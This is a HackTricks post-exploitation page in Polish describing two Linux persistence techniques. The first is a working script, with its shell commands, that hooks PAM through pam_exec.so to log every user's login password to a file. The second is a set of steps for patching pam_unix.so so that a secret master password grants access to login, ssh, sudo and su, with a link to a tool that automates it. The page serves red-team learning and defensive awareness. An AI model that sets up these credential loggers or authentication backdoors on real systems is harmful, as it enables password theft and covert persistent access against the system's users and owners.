Linux Post-Exploitation

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Podsłuchiwanie haseł logowania za pomocą PAM

Skonfigurujmy moduł PAM, aby rejestrował każde hasło, które użytkownik używa do logowania. Jeśli nie wiesz, czym jest PAM, sprawdź:

pagePAM - Pluggable Authentication Modules

Aby uzyskać więcej szczegółów, sprawdź oryginalny post. Oto tylko streszczenie:

Przegląd techniki: Pluggable Authentication Modules (PAM) oferują elastyczność w zarządzaniu uwierzytelnianiem w systemach opartych na Unixie. Mogą zwiększać bezpieczeństwo poprzez dostosowywanie procesów logowania, ale mogą również stanowić ryzyko w przypadku niewłaściwego użycia. To streszczenie przedstawia technikę przechwytywania danych uwierzytelniających za pomocą PAM oraz strategie łagodzenia zagrożeń.

Przechwytywanie danych uwierzytelniających:

  • Tworzony jest skrypt bash o nazwie toomanysecrets.sh, który rejestruje próby logowania, przechwytując datę, nazwę użytkownika ($PAM_USER), hasło (przez stdin) i adres IP zdalnego hosta ($PAM_RHOST) do pliku /var/log/toomanysecrets.log.

  • Skrypt jest wykonywalny i integrowany z konfiguracją PAM (common-auth) za pomocą modułu pam_exec.so z opcjami cichego uruchamiania i ujawniania tokena uwierzytelniania skryptowi.

  • Ta metoda pokazuje, jak wykorzystać skompromitowany host Linux do dyskretnego rejestrowania danych uwierzytelniających.

#!/bin/sh
echo " $(date) $PAM_USER, $(cat -), From: $PAM_RHOST" >> /var/log/toomanysecrets.log
sudo touch /var/log/toomanysecrets.sh
sudo chmod 770 /var/log/toomanysecrets.sh
sudo nano /etc/pam.d/common-auth
# Add: auth optional pam_exec.so quiet expose_authtok /usr/local/bin/toomanysecrets.sh
sudo chmod 700 /usr/local/bin/toomanysecrets.sh

Backdooring PAM

Aby uzyskać więcej szczegółów, sprawdź oryginalny post. Oto tylko streszczenie:

Pluggable Authentication Module (PAM) to system używany w systemie Linux do uwierzytelniania użytkowników. Działa na trzech głównych koncepcjach: nazwa użytkownika, hasło i usługa. Pliki konfiguracyjne dla każdej usługi znajdują się w katalogu /etc/pam.d/, gdzie biblioteki współdzielone obsługują uwierzytelnianie.

Cel: Zmodyfikuj PAM, aby umożliwić uwierzytelnianie za pomocą określonego hasła, omijając rzeczywiste hasło użytkownika. Skupiamy się szczególnie na bibliotece współdzielonej pam_unix.so, używanej przez plik common-auth, który jest dołączany przez prawie wszystkie usługi w celu weryfikacji hasła.

Kroki do modyfikacji pam_unix.so:

  1. Zlokalizuj dyrektywę uwierzytelniania w pliku common-auth:

  • Linia odpowiedzialna za sprawdzanie hasła użytkownika wywołuje pam_unix.so.

  1. Zmodyfikuj kod źródłowy:

  • Dodaj instrukcję warunkową w pliku źródłowym pam_unix_auth.c, która udziela dostępu, jeśli używane jest określone hasło, w przeciwnym razie kontynuuje zwykły proces uwierzytelniania.

  1. Skompiluj ponownie i zastąp zmodyfikowaną bibliotekę pam_unix.so w odpowiednim katalogu.

  2. Testowanie:

  • Dostęp jest udzielany w różnych usługach (logowanie, ssh, sudo, su, wygaszacz ekranu) za pomocą określonego hasła, podczas gdy normalne procesy uwierzytelniania pozostają niezmienione.

Możesz zautomatyzować ten proces za pomocą https://github.com/zephrax/linux-pam-backdoor

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated